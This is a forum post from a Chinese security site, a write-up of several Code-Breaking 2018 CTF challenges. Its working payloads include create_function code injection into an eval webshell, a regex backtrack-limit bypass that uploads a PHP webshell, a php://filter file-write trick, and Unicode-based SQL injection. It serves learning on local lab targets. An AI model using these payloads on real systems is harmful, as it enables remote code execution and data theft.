用户
搜索
  • TA的每日心情
    开心
    前天 19:38
  • 签到天数: 81 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    26

    帖子

    1167

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2021-3-15 12:27:59 58230

    code-breaking(一)

    最近p牛说在筹备code-breaking 2021,于是我终于想起来把code-breaking2018拿出来学学,虽然是18年的题目,但其中有很多值得细细品味的内容,题量较多,本文写了几道easy难度的题,其余题目我后续会再发出。

    function

    <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        show_source(__FILE__);
    } else {
        $action('', $arg);
    }
    

    这题十分简短精悍,应该是需要找到一个在[a-z0-9_]之外的字符放置在函数前而不影响函数的调用,简单传入:

    http://127.0.0.1:8087/?action=system&arg=

    http://127.0.0.1:8087/?action=`$`system&arg=

    会发现后者让页面报错了,因此我们可以据此来fuzz出什么字符是可用的。

    fuzz到一个\,此处的报错意味着开启了disable function。

    我们的system拼接上\也就是\system,这里是命名空间默认情况下就是\也就是说这里就是使用了当前命名空间下的system函数,可以理解为使用了一个绝对路径,而我们常规的调用就是相对路径了。

    随手写了一个demo让大家理解一下:

    <?php
    namespace asad;
    
    function tt(){
        echo "asad tt";
    }
    
    \asad\tt();
    //asad tt

    那么下面想要执行函数因为个人刷题多了,第一时间就联想到了create_function这个函数,他的第二个参数有一个典型的漏洞就是可以用来实现代码注入,此处简单分析一下:

    首先需要知道这个函数是用来创建匿名函数的,其的两个参数的作用:create_function(参数,函数体),看一个demo:

    <?php
    $newfunc = create_function('$a', 'return $a;');
    echo $newfunc(2) . "\n";
    ?>
    //2

    那么这个漏洞是怎么利用的?我拆解一下:

    <?php
    $newfunc = create_function('$a', 'return $a;}phpinfo();//');
    echo $newfunc(2) . "\n";
    ?>

    相当于:

    <?php
    function newfunc($a){
      return $a;}phpinfo();//}

    当然了这里并不完全相同,它不会执行newfunc函数,但对于理解这一个漏洞来说已经够了,因此我们可以得到payload:

    http://127.0.0.1:8087/?action=\create_function&arg=}phpinfo();//

    可以看到确实是有禁了一堆函数,包括前面的system,然后还有base_dir,但拿flag依旧绰绰有余,写一个eval,发现flag在上级目录,刚好base_dir到该级目录,因此:

    url:
    http://127.0.0.1:8087/?action=\create_function&arg=}eval($_POST[1]);//
    post:
    1=echo(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));

    pcrewaf

    喜闻乐见的又是代码审计:

    <?php
    function is_php($data){
        return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    
    if(empty($_FILES)) {
        die(show_source(__FILE__));
    }
    
    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
        echo "bad request";
    } else {
        @mkdir($user_dir, 0755);
        $path = $user_dir . '/' . random_int(0, 10) . '.php';
        move_uploaded_file($_FILES['file']['tmp_name'], $path);
    
        header("Location: $path", true, 303);
    } 1

    这道题最关键在于is_php里面的正则关于这个正则<\?.*[(`;?>].*可以分析为如下图:

    一目了然的知道匹配了php的标签头含有<?且其后不能有[(;?>]`,就这点来说我们要执行代码是办不到的。

    这道题的利用点具体可以参考p牛的正则回溯匹配次数bypass waf:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

    摘取其文中一段内容:

    • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
    • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

    由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

    以php7.3为界限,php7.3以下使用的是PCRE,而7.3以上用的是PCRE2。

    而php中的正则回溯存在着一个回溯上限,我们可以在文档中查看到其上限值为1000000:

    我们在调试该正则的时候可以看到进行了多次回溯:

    究其原因是在于第一个.*,如下:

    可以清楚的了解到在第一个.匹配到字符串的末端后该正则后续的[(`;?>)]同样需要进行匹配,因此该正则开始回溯,而在上面的图片中可以清楚的看到回溯了8次,直到;与正则符合后才停止回溯,继续匹配后续的`.`。

    我们在运行代码:

    <?php
    var_dump(preg_match('/<\?.*[(`;?>].*/is', "<?php phpinfo();//".str_repeat('a',1000000)));

    会发现输出的结果是false而不是int(1),而输出false则可以满足我们上面的else达成文件的上传。

    而文件无需手动构造100万个a,只需使用python上传即可,上传文件后会设置location,因此我们可以通过输出header来查看到文件路径:

    import requests
    from io import BytesIO
    
    files = {
      'file': BytesIO(b'<?php eval($_POST[1]);//' + b'a' * 1000000)
    }
    
    res = requests.post('http://127.0.0.1:8088/', files=files, allow_redirects=False)
    print(res.headers)
    """
    {'Date': 'Sat, 13 Mar 2021 07:50:29 GMT', 'Server': 'Apache/2.4.38 (Debian)', 'X-Powered-By': 'PHP/7.1.33', 'Location': 'data/269e6c9cb28db04d1f0a5fbd76f2519e/7.php', 'Content-Length': '0', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=utf-8'}
    """

    phpmagic

    给出源码:

    <?php
    if(isset($_GET['read-source'])) {
        exit(show_source(__FILE__));
    }
    
    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    
    if(!is_dir(DATA_DIR)) {
        mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);
    
    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
    ?>
    <?php if(!empty($_POST) && $domain):
                    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                    $output = shell_exec($command);
    
                    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    
                    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                        file_put_contents($log_name, $output);
                    }
    
                    echo $output;
                endif; ?>

    使用了escapeshellarg函数进行过滤:

    escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

    这道题挺有意思,首先看到file_put_contents,我们可以利用它来写文件,该函数中的两个参数都是部分可控。

    首先需要解决第一个问题,写入php后缀的文件,这里因为服务器是apache,看到这一个过滤,我首先想到的是可否写入一个htaccess来解析jpg,然鹅对于这道题来说办不到,因为htaccess对于格式要求相对严格,注意到这里有一个pathinfo函数,它存在着可以被绕过的姿势。

    pathinfo() 函数以数组或字符串的形式返回关于文件路径的信息。

    返回的数组元素如下:

    运行下面代码会发现该黑魔法:

    <?php
    var_dump(pathinfo("a.php",));
    var_dump(pathinfo("a.php/."));
    var_dump(pathinfo("a.php/.",PATHINFO_EXTENSION));
    
    /*
    array(4) {
      ["dirname"]=>
      string(1) "."
      ["basename"]=>
      string(5) "a.php"
      ["extension"]=>
      string(3) "php"
      ["filename"]=>
      string(1) "a"
    }
    array(4) {
      ["dirname"]=>
      string(5) "a.php"
      ["basename"]=>
      string(1) "."
      ["extension"]=>
      string(0) ""
      ["filename"]=>
      string(0) ""
    }
    string(0) ""
    */

    也就是说我们的a.php被当成目录了,此时的if判断变为:

    if(!in_array("", ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true))

    因此我们可以往里边写文件了,并且a.php/.这种形式是可以在file_put_contents中成功写入的,各位可以尝试运行下列:

    <?php
    var_dump(file_put_contents("a.php/.","test"));
    //int(4)

    接下来要操心的是log_name并不完全可控,他是由我们传入的log与$_SERVER['SERVER_NAME']拼接形成的,在php文档中有写到:

    当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。

    注意: 在 Apache 2 里,必须设置 UseCanonicalName = OnServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。

    对于本题中可通过修改host来控制该值(ps.我在本地默认apache中测试过是无法修改host来控制该值的)。

    至此我们写入的文件名完全可控。

    再看一下,倘若我随意输入一串字符串,通过shell_exec执行完后在页面中输出的内容是什么:

    查看对应的文件会发现我们的部分字符被编码了:

    ; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q <?php phpinfo();?>

    须知file_put_contents涉及到了文件操作,因此完全可以采用伪协议来指定解码方式为base64的方式来让我们的代码免于html实体编码的危害,base64是4位解一个,如果我们传入的字符数量少于4的倍数就会解不出来,这也就是base64末尾经常出现等于号的原因,因为等于号是作为填充字符来使用的,而在我们传入的字符之前符合解码的[A-Za-z0-9+/=]有:

    ltltgtgtDiG9959+deb8u15DebianltltgtgttAq

    为40个字符,因此我们只需将php代码编码后传入即可。

    最终payload(phpinfo):

    POST / HTTP/1.1
    Host: php
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 94
    Origin: http://127.0.0.1:8082
    Connection: close
    Referer: http://127.0.0.1:8082/
    Upgrade-Insecure-Requests: 1
    
    domain=PD9waHAgcGhwaW5mbygpOyAgPz4g&log=://filter/write=convert.base64-decode/resource=1.php/.

    phplimit

    <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    } else {
        show_source(__FILE__);
    }

    这个正则嘛见多了,就是无参数函数调用题。

    有basedir,不过因为code-breaking是18年的了,放在当时无参调用是很难的题目了,而到目前为止各大比赛中这类无参题目出的很多了,直接用session进行bypass。

    http://127.0.0.1:8084/?code=assert(session_id(session_start()));
    
    cookie:PHPSESSID=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

    nodechr

    直接给出源码:

    // initial libraries
    const Koa = require('koa')
    const sqlite = require('sqlite')
    const fs = require('fs')
    const views = require('koa-views')
    const Router = require('koa-router')
    const send = require('koa-send')
    const bodyParser = require('koa-bodyparser')
    const session = require('koa-session')
    const isString = require('underscore').isString
    const basename = require('path').basename
    
    const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
    
    async function main() {
        const app = new Koa()
        const router = new Router()
        const db = await sqlite.open(':memory:')
    
        await db.exec(`CREATE TABLE "main"."users" (
            "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            "username" TEXT NOT NULL,
            "password" TEXT,
            CONSTRAINT "unique_username" UNIQUE ("username")
        )`)
        await db.exec(`CREATE TABLE "main"."flags" (
            "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            "flag" TEXT NOT NULL
        )`)
        for (let user of config.users) {
            await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
        }
        await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
    
        router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
    
        app.use(views(__dirname + '/views', {
            map: {
                html: 'underscore'
            },
            extension: 'html'
        })).use(bodyParser()).use(session(app))
    
        app.use(router.routes()).use(router.allowedMethods());
    
        app.keys = config.signed
        app.context.db = db
        app.context.router = router
        app.listen(3000)
    }
    
    function safeKeyword(keyword) {
        if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
            return keyword
        }
    
        return undefined
    }
    
    async function login(ctx, next) {
        if(ctx.method == 'POST') {
            let username = safeKeyword(ctx.request.body['username'])
            let password = safeKeyword(ctx.request.body['password'])
    
            let jump = ctx.router.url('login')
            if (username && password) {
                let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
    
                if (user) {
                    ctx.session.user = user
    
                    jump = ctx.router.url('admin')
                }
    
            }
    
            ctx.status = 303
            ctx.redirect(jump)
        } else {
            await ctx.render('index')
        }
    }
    
    async function static(ctx, next) {
        await send(ctx, ctx.path)
    }
    
    async function admin(ctx, next) {
        if(!ctx.session.user) {
            ctx.status = 303
            return ctx.redirect(ctx.router.url('login'))
        }
    
        await ctx.render('admin', {
            'user': ctx.session.user
        })
    }
    
    async function source(ctx, next) {
        await send(ctx, basename(__filename))
    }
    
    main()

    关键的逻辑在于登陆处,分析一下此处代码:

    function safeKeyword(keyword) {
        if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
            return keyword
        }
    
        return undefined
    }
    async function login(ctx, next) {
        if(ctx.method == 'POST') {
            let username = safeKeyword(ctx.request.body['username'])
            let password = safeKeyword(ctx.request.body['password'])
    
            let jump = ctx.router.url('login')
            if (username && password) {
                let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
    
                if (user) {
                    ctx.session.user = user
    
                    jump = ctx.router.url('admin')
                }
    
            }
            ctx.status = 303
            ctx.redirect(jump)
        } else {
            await ctx.render('index')
        }
    }

    看到我们传入的用户名密码都直接放入sql语句时顿觉sql注入有戏,然而我们传入的用户名跟密码都经历了safeKeyword函数,显然如果flag存在于数据库内那失去了union会让我们举步维艰,而这道题经过测试并不是考察万能密码注入登陆后台(ps.因为admin/admin就直接进后台了)。

    这里有一个很突兀的东西就是toUpperCase这个函数,这也正是这道题要考察的点(很显然,如果只是简单绕waf的话无需要专门选择nodejs来搭建环境,用php搭多方便)。

    关于这一点p牛也是在n年前写过一篇文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

    文章说的很详细啦,对于toUpperCase函数来说,有两对字符:

    char: i
    char: ı
    char: s
    char: ſ

    可以看到他们经过toUpperCase函数后是相等的:

    至此这道题的做法也就很明显了,用这俩字符分别绕select和union即可。

    password=000&username=1' unıon ſelect 1,2,3 or '1'='1

    得到回显位在2号位,而源码中还创建了一个flags表:

    CREATE TABLE "main"."flags" (
            "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            "flag" TEXT NOT NULL
        )

    因此我们直接注flag即可。

    password=0' unıon ſelect 1,flag,3 from flags where '1'='1&username=123
    大神好强大的代码功底 原来这就刷题的好处~
    使用道具 举报 回复
    学到了学到了
    使用道具 举报 回复
    发表于 2021-3-16 12:47:14
    可爱的小雨淅淅 发表于 2021-3-15 16:08
    大神好强大的代码功底 原来这就刷题的好处~

    嘻嘻,感谢版主大大的肯定
    使用道具 举报 回复
    HHHM师傅牛批
    使用道具 举报 回复
    发表于 2021-4-2 15:26:16
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册